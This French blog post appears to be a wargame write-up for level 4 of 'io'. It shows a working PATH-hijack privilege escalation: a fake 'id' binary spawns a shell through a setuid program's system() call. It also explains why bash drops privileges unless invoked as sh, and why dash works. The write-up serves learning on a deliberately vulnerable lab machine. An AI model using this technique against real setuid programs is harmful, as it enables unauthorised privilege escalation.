Niveau 4 : The system() has failed

Le niveau 4 est de prime abord encore plus énigmatique que le niveau 2 :

level4@io:/tmp/bach$ cat /levels/level04.c 
#include <stdlib.h>

int main() {
	
	system("id");

	return 0;
}

Quand on l’exécute, ça donne :

level4@io:/tmp/bach$ /levels/level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)

ce qui a au moins l’utilité de nous rappeler que le programme tourne setuid. La solution est assez évidente pour qui connaît un peu les systèmes UNIX :

level4@io:/tmp/bach$ cat id.c 
#include <stdlib.h>

int main(void)
{
    system("/bin/sh");
    return 0;
}
level4@io:/tmp/bach$ gcc -o id id.c
level4@io:/tmp/bach$ export OLDPATH=$PATH
level4@io:/tmp/bach$ export PATH=.:$PATH
level4@io:/tmp/bach$ /levels/level04
sh-4.1$ whoami
level5

On n’apprend pas grand-chose, si ce n’est que system() c’est vraiment de la merde. Ce qui est plus intéressant, c’est de savoir pourquoi par exemple

level4@io:/tmp/bach$ cat id.c 
#include <stdlib.h>

int main(void)
{
    system("/bin/bash");
    return 0;
}
level4@io:/tmp/bach$ gcc -o id id.c 
level4@io:/tmp/bach$ /levels/level04
bash-4.1$ whoami
level4

ou

level4@io:/tmp/bach$ cp /bin/sh id
level4@io:/tmp/bach$ /levels/level04
id-4.1$ whoami
level4

ne fonctionnent pas. On peut remarquer que la solution semble fonctionner si et seulement si le shell qu’on invoque se nomme sh. Il n’est pas nécessaire qu’il soit dans /bin, par exemple :

level4@io:/tmp/bach$ cat id.c 
#include <stdlib.h>

int main(void)
{
    system("/tmp/bach/sh");
    return 0;
}
level4@io:/tmp/bach$ gcc -o id id.c 
level4@io:/tmp/bach$ cp /bin/sh .
level4@io:/tmp/bach$ /levels/level04
sh-4.1$ whoami
level5

On remarque aussi que sur ce système, sh est juste un lien vers bash :

level4@io:/tmp/bach$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Dec 24 19:57 /bin/sh -> bash

Enfin, il faut savoir que bash se comporte exactement comme spécifié par POSIX quand on l’invoque par la commande sh et dans certains autres cas, mais que quand on l’invoque par n’importe quelle autre commande et sans forcer la conformité à POSIX (via un fichier de configuration ou un argument, par exemple), il se comporte différemment. En particulier, la page de manuel de bash nous dit ceci :

       If the shell is started with the effective user (group) id not equal to the real user (group) id, and  the  -p
       option is not supplied, no startup files are read, shell functions are not inherited from the environment, the
       SHELLOPTS, BASHOPTS, CDPATH, and GLOBIGNORE variables, if they appear in the environment, are ignored, and the
       effective  user id is set to the real user id.  If the -p option is supplied at invocation, the startup behav-
       ior is the same, but the effective user id is not reset.

En clair, quand on invoque bash sans utiliser l’option -p, il va regarder si l’user id effectif correspond à l’user id réel. S’ils ne correspondent pas, il va modifier l’user id effectif pour qu’il corresponde à l’user id réel. Retour à la case départ, quand on invoque level04, les différents user id sont :

level4@io:/tmp/bach$ /levels/level04
uid=1004(level4) gid=1004(level4) euid=1005(level5) groups=1005(level5),1004(level4),1029(nosu)

L’user id réel (uid) est celui de l’utilisateur level4 (avec lequel on s’est loggé sur la machine), et l’user id effectif (euid) est celui de l’utilisateur level5, c’est avec cet user id qu’on veut lancer notre shell pour avoir accès au mot de passe du niveau 5. Or bash nous l’enlève quand on l’invoque, car il ne correspond pas à l’user id réel.

A contrario, il n’y a nulle trace de ce comportement dans la page des spécifications POSIX de sh, et en effet quand on invoque bash comme sh, il va garder l’user id effectif level5, et on aura accès au niveau suivant. Ceci :

level4@io:/tmp/bach$ cat id.c 
#include <stdlib.h>

int main(void)
{
    system("/bin/dash");
    return 0;
}
level4@io:/tmp/bach$ gcc -o id id.c
level4@io:/tmp/bach$ /levels/level04
$ whoami
level5

fonctionne également, car dash est conforme à POSIX par défaut.

Leave a Reply

Your email address will not be published. Required fields are marked *